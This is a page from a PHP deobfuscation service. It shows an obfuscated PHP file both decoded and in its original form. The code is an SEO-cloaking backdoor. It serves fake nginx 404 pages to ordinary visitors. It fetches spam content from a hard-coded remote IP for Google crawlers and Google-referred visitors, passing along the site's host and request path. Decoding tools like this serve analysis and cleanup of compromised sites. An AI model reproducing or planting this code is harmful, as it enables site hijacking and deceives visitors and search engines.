Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto p0XpW; Ag3Uv: if (!AZbmJ()) { goto fhT78; } goto B1b3y; FiCN3: header("\x48\x54\124\x..

Decoded Output download

<?  goto p0XpW; Ag3Uv: if (!AZbmJ()) { goto fhT78; } goto B1b3y; FiCN3: header("HTTP/1.0 404 Not Found"); goto Uw0Ua; ydUfP: function RCX1t() { goto whOND; kwBBw: $NQAAU = explode("#", $OeO8C, 2); goto fLjRd; tFuGg: $OeO8C = mb_convert_encoding($OeO8C, "UTF-8", "GBK"); goto jm7kV; oOSW4: if (!(isset($_SERVER["SERVER_SOFTWARE"]) && false !== stristr($_SERVER["SERVER_SOFTWARE"], "IIS"))) { goto z8cZU; } goto q6iOC; jm7kV: lmXVv: goto DQX8T; fLjRd: return str_ireplace("index.php?404;", '', $NQAAU[0]); goto qvre0; K1O2b: VAsfn: goto tFuGg; DQX8T: z8cZU: goto kwBBw; q6iOC: if (function_exists("mb_convert_encoding")) { goto VAsfn; } goto oEiJL; oEiJL: $OeO8C = @iconv("GBK", "UTF-8", @iconv("UTF-8", "GBK", $OeO8C)) == $OeO8C ? $OeO8C : @iconv("GBK", "UTF-8", $OeO8C); goto PqDQj; PqDQj: goto lmXVv; goto K1O2b; whOND: $OeO8C = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto oOSW4; qvre0: } goto YPDKX; ABT67: set_time_limit(0); goto D8xL5; qGusJ: Utubc: goto FiCN3; D8xL5: date_default_timezone_set("PRC"); goto KEfN1; Tl_lB: function SgeQd() { $uXruB = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; return preg_match("/google/i", $uXruB); } goto kPAkC; JEsl8: fG3v4: goto qGusJ; FC_fW: echo $H6oSE; goto kcShs; RRWFm: $H6oSE = n1k5n($LLZEJ . str_replace("?", "-", $_SERVER["REQUEST_URI"]) . "&url2=" . $bQ7oB . $_SERVER["HTTP_HOST"] . str_replace("?", "-", $_SERVER["REQUEST_URI"])); goto FC_fW; Uw0Ua: echo "<html><!--@cubenav-->\xa<head><title>404 Not Found.</title></head>\xa<body bgcolor='white'>\xa<center><h1>404 Not Found</h1></center>\xa<hr><center>nginx</center>
</body>\xa</html>"; goto sI4pB; p0XpW: error_reporting(0); goto ABT67; sI4pB: exit; goto Tl_lB; YPDKX: function N1k5N($lydkT) { goto ojLf5; dNkQV: curl_setopt($ik4gx, CURLOPT_FOLLOWLOCATION, true); goto H_jLE; i9c66: curl_setopt($ik4gx, CURLOPT_HTTPHEADER, $MYpHo); goto UkcEZ; yeEcT: curl_close($ik4gx); goto KiYeH; jsx1J: curl_setopt($ik4gx, CURLINFO_HEADER_OUT, true); goto Sm6Oo; phv2P: curl_setopt($ik4gx, CURLOPT_URL, $lydkT); goto e7OGF; UkcEZ: curl_setopt($ik4gx, CURLOPT_VERBOSE, true); goto jsx1J; mS2vm: cN8S7: goto yeEcT; ojLf5: $ik4gx = curl_init(); goto phv2P; KiYeH: return $oF8Zp; goto Nuu0C; vbEYL: $MYpHo = array("User-Agent: " . (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "unknown"), "X-Forwarded-For: " . $YmvfE, "X-Real-IP: " . $YmvfE); goto i9c66; Zbbtw: return "Curl error: " . curl_error($ik4gx); goto mS2vm; Sm6Oo: $oF8Zp = curl_exec($ik4gx); goto mBI6I; e7OGF: curl_setopt($ik4gx, CURLOPT_RETURNTRANSFER, true); goto dNkQV; H_jLE: $YmvfE = I2D3m(); goto vbEYL; mBI6I: if (!curl_errno($ik4gx)) { goto cN8S7; } goto Zbbtw; Nuu0C: } goto ByVhY; BH6p8: echo $H6oSE; goto K0UfH; uuwuO: $bQ7oB = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https://" : "http://"; goto RRWFm; I5pYJ: if (!Sgeqd()) { goto fG3v4; } goto uuwuO; UbACI: if (!(rCX1T() != "/")) { goto Utubc; } goto Ag3Uv; B1b3y: $H6oSE = N1K5n($LLZEJ . "tiaole"); goto BH6p8; iyKWP: fhT78: goto I5pYJ; K0UfH: exit; goto iyKWP; kcShs: exit; goto JEsl8; kPAkC: function AZbmj() { $TYcxd = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; return preg_match("/.*(google.com).*/i", $TYcxd); } goto ydUfP; KEfN1: $LLZEJ = "http://165.154.233.13/index.php?url="; goto UbACI; ByVhY: function i2d3m() { goto xDAc8; O23gv: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto z2q3c; } goto TiFsm; eq8OH: return $_SERVER["REMOTE_ADDR"]; goto cNwV1; a0QOq: b5UgC: goto eq8OH; cNwV1: Wv6Qe: goto JV2CR; EMUQp: goto Wv6Qe; goto RZ9kJ; crZzl: goto Wv6Qe; goto a0QOq; TiFsm: if (!empty($_SERVER["REMOTE_ADDR"])) { goto b5UgC; } goto FkbWm; IAAJN: return $_SERVER["HTTP_X_REAL_IP"]; goto EMUQp; aSxY8: goto Wv6Qe; goto ruUqo; ruUqo: rMvmr: goto IAAJN; FkbWm: return "Unknown"; goto aSxY8; kZaZP: return $_SERVER["HTTP_X_FORWARDED_FOR"]; goto crZzl; RZ9kJ: z2q3c: goto kZaZP; xDAc8: if (!empty($_SERVER["HTTP_X_REAL_IP"])) { goto rMvmr; } goto O23gv; JV2CR: } 
 
 
 ?>

Did this file decode correctly?

Original Code

goto p0XpW; Ag3Uv: if (!AZbmJ()) { goto fhT78; } goto B1b3y; FiCN3: header("\x48\x54\124\x50\x2f\x31\x2e\60\x20\64\x30\x34\40\116\157\164\x20\106\x6f\x75\x6e\144"); goto Uw0Ua; ydUfP: function RCX1t() { goto whOND; kwBBw: $NQAAU = explode("\43", $OeO8C, 2); goto fLjRd; tFuGg: $OeO8C = mb_convert_encoding($OeO8C, "\125\x54\106\55\70", "\107\102\x4b"); goto jm7kV; oOSW4: if (!(isset($_SERVER["\x53\105\122\x56\x45\x52\137\123\x4f\x46\124\127\101\122\105"]) && false !== stristr($_SERVER["\x53\x45\x52\126\x45\122\137\123\x4f\106\124\127\101\122\105"], "\111\x49\x53"))) { goto z8cZU; } goto q6iOC; jm7kV: lmXVv: goto DQX8T; fLjRd: return str_ireplace("\x69\x6e\x64\x65\170\56\x70\x68\160\x3f\x34\60\64\x3b", '', $NQAAU[0]); goto qvre0; K1O2b: VAsfn: goto tFuGg; DQX8T: z8cZU: goto kwBBw; q6iOC: if (function_exists("\155\142\x5f\x63\157\x6e\166\145\162\x74\137\x65\x6e\x63\x6f\144\151\156\x67")) { goto VAsfn; } goto oEiJL; oEiJL: $OeO8C = @iconv("\107\102\113", "\x55\124\x46\x2d\70", @iconv("\x55\124\106\55\x38", "\x47\102\113", $OeO8C)) == $OeO8C ? $OeO8C : @iconv("\107\x42\x4b", "\x55\x54\106\55\70", $OeO8C); goto PqDQj; PqDQj: goto lmXVv; goto K1O2b; whOND: $OeO8C = isset($_SERVER["\122\x45\121\x55\105\x53\x54\x5f\125\x52\x49"]) ? $_SERVER["\x52\x45\121\x55\105\x53\124\x5f\125\122\x49"] : $_SERVER["\120\x48\120\x5f\123\x45\114\106"] . "\77" . $_SERVER["\x51\125\x45\122\x59\x5f\x53\x54\x52\x49\x4e\x47"]; goto oOSW4; qvre0: } goto YPDKX; ABT67: set_time_limit(0); goto D8xL5; qGusJ: Utubc: goto FiCN3; D8xL5: date_default_timezone_set("\x50\122\103"); goto KEfN1; Tl_lB: function SgeQd() { $uXruB = isset($_SERVER["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\137\x41\107\105\x4e\124"]) ? $_SERVER["\x48\x54\x54\120\x5f\125\123\105\x52\x5f\x41\107\105\116\x54"] : ''; return preg_match("\x2f\147\x6f\157\147\154\x65\57\151", $uXruB); } goto kPAkC; JEsl8: fG3v4: goto qGusJ; FC_fW: echo $H6oSE; goto kcShs; RRWFm: $H6oSE = n1k5n($LLZEJ . str_replace("\77", "\55", $_SERVER["\122\x45\x51\x55\105\x53\124\137\125\x52\111"]) . "\x26\x75\x72\154\62\x3d" . $bQ7oB . $_SERVER["\x48\x54\x54\x50\137\x48\x4f\123\124"] . str_replace("\77", "\x2d", $_SERVER["\122\105\121\125\105\x53\x54\x5f\125\122\111"])); goto FC_fW; Uw0Ua: echo "\x3c\x68\164\155\x6c\x3e\74\x21\x2d\55\100\143\x75\x62\145\x6e\x61\x76\55\55\76\xa\74\150\x65\141\144\x3e\x3c\x74\151\x74\154\x65\76\x34\60\x34\40\116\157\164\40\x46\157\x75\x6e\144\56\74\x2f\x74\151\x74\x6c\x65\76\x3c\57\150\145\141\x64\76\xa\x3c\x62\x6f\x64\x79\40\142\x67\143\157\154\x6f\162\x3d\x27\167\x68\151\x74\x65\x27\76\xa\x3c\143\x65\x6e\164\x65\x72\x3e\x3c\150\61\76\x34\x30\x34\x20\x4e\157\164\40\106\x6f\x75\x6e\x64\x3c\x2f\x68\x31\76\74\x2f\143\x65\156\164\145\x72\76\xa\74\x68\x72\x3e\x3c\143\145\x6e\x74\145\x72\76\156\147\151\156\x78\74\57\x63\145\156\x74\x65\x72\x3e\12\74\x2f\x62\157\x64\x79\x3e\xa\x3c\x2f\150\164\x6d\154\x3e"; goto sI4pB; p0XpW: error_reporting(0); goto ABT67; sI4pB: exit; goto Tl_lB; YPDKX: function N1k5N($lydkT) { goto ojLf5; dNkQV: curl_setopt($ik4gx, CURLOPT_FOLLOWLOCATION, true); goto H_jLE; i9c66: curl_setopt($ik4gx, CURLOPT_HTTPHEADER, $MYpHo); goto UkcEZ; yeEcT: curl_close($ik4gx); goto KiYeH; jsx1J: curl_setopt($ik4gx, CURLINFO_HEADER_OUT, true); goto Sm6Oo; phv2P: curl_setopt($ik4gx, CURLOPT_URL, $lydkT); goto e7OGF; UkcEZ: curl_setopt($ik4gx, CURLOPT_VERBOSE, true); goto jsx1J; mS2vm: cN8S7: goto yeEcT; ojLf5: $ik4gx = curl_init(); goto phv2P; KiYeH: return $oF8Zp; goto Nuu0C; vbEYL: $MYpHo = array("\x55\163\145\162\55\101\x67\x65\156\x74\72\x20" . (isset($_SERVER["\110\x54\x54\x50\137\125\x53\105\x52\x5f\101\107\x45\116\124"]) ? $_SERVER["\x48\x54\x54\x50\137\125\x53\x45\122\137\101\x47\105\x4e\x54"] : "\165\156\153\156\157\x77\156"), "\x58\55\106\157\162\x77\x61\162\144\145\144\x2d\x46\x6f\162\x3a\x20" . $YmvfE, "\130\x2d\122\145\141\154\x2d\x49\120\x3a\40" . $YmvfE); goto i9c66; Zbbtw: return "\x43\x75\x72\154\40\x65\162\x72\x6f\x72\x3a\x20" . curl_error($ik4gx); goto mS2vm; Sm6Oo: $oF8Zp = curl_exec($ik4gx); goto mBI6I; e7OGF: curl_setopt($ik4gx, CURLOPT_RETURNTRANSFER, true); goto dNkQV; H_jLE: $YmvfE = I2D3m(); goto vbEYL; mBI6I: if (!curl_errno($ik4gx)) { goto cN8S7; } goto Zbbtw; Nuu0C: } goto ByVhY; BH6p8: echo $H6oSE; goto K0UfH; uuwuO: $bQ7oB = isset($_SERVER["\110\124\x54\x50\x53"]) && $_SERVER["\110\124\124\120\x53"] === "\x6f\156" ? "\x68\164\164\160\163\72\57\x2f" : "\x68\164\164\x70\72\57\57"; goto RRWFm; I5pYJ: if (!Sgeqd()) { goto fG3v4; } goto uuwuO; UbACI: if (!(rCX1T() != "\57")) { goto Utubc; } goto Ag3Uv; B1b3y: $H6oSE = N1K5n($LLZEJ . "\164\x69\141\x6f\154\x65"); goto BH6p8; iyKWP: fhT78: goto I5pYJ; K0UfH: exit; goto iyKWP; kcShs: exit; goto JEsl8; kPAkC: function AZbmj() { $TYcxd = isset($_SERVER["\110\x54\124\120\137\x52\105\x46\x45\122\x45\122"]) ? $_SERVER["\110\x54\x54\120\137\x52\105\106\x45\x52\x45\x52"] : ''; return preg_match("\x2f\x2e\52\50\x67\x6f\157\x67\x6c\145\x2e\x63\157\x6d\51\x2e\52\x2f\151", $TYcxd); } goto ydUfP; KEfN1: $LLZEJ = "\150\164\164\x70\72\57\x2f\61\x36\x35\56\61\x35\64\x2e\x32\63\x33\56\61\x33\x2f\151\x6e\x64\x65\170\56\160\x68\160\77\165\162\x6c\x3d"; goto UbACI; ByVhY: function i2d3m() { goto xDAc8; O23gv: if (!empty($_SERVER["\110\124\x54\120\137\x58\137\106\x4f\122\x57\x41\x52\x44\x45\x44\137\106\117\x52"])) { goto z2q3c; } goto TiFsm; eq8OH: return $_SERVER["\122\105\115\117\x54\105\x5f\101\x44\104\x52"]; goto cNwV1; a0QOq: b5UgC: goto eq8OH; cNwV1: Wv6Qe: goto JV2CR; EMUQp: goto Wv6Qe; goto RZ9kJ; crZzl: goto Wv6Qe; goto a0QOq; TiFsm: if (!empty($_SERVER["\122\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"])) { goto b5UgC; } goto FkbWm; IAAJN: return $_SERVER["\x48\x54\124\120\x5f\130\x5f\122\x45\101\114\137\x49\x50"]; goto EMUQp; aSxY8: goto Wv6Qe; goto ruUqo; ruUqo: rMvmr: goto IAAJN; FkbWm: return "\x55\x6e\x6b\156\x6f\167\x6e"; goto aSxY8; kZaZP: return $_SERVER["\x48\124\124\x50\x5f\x58\x5f\106\117\122\127\101\122\104\x45\104\137\106\117\122"]; goto crZzl; RZ9kJ: z2q3c: goto kZaZP; xDAc8: if (!empty($_SERVER["\x48\x54\124\x50\x5f\x58\x5f\122\105\x41\114\137\111\120"])) { goto rMvmr; } goto O23gv; JV2CR: }


Function Calls

None

Variables

None

Stats

MD5 b466cb469668723fe6d43076cd65653d
Eval Count 0
Decode Time 62 ms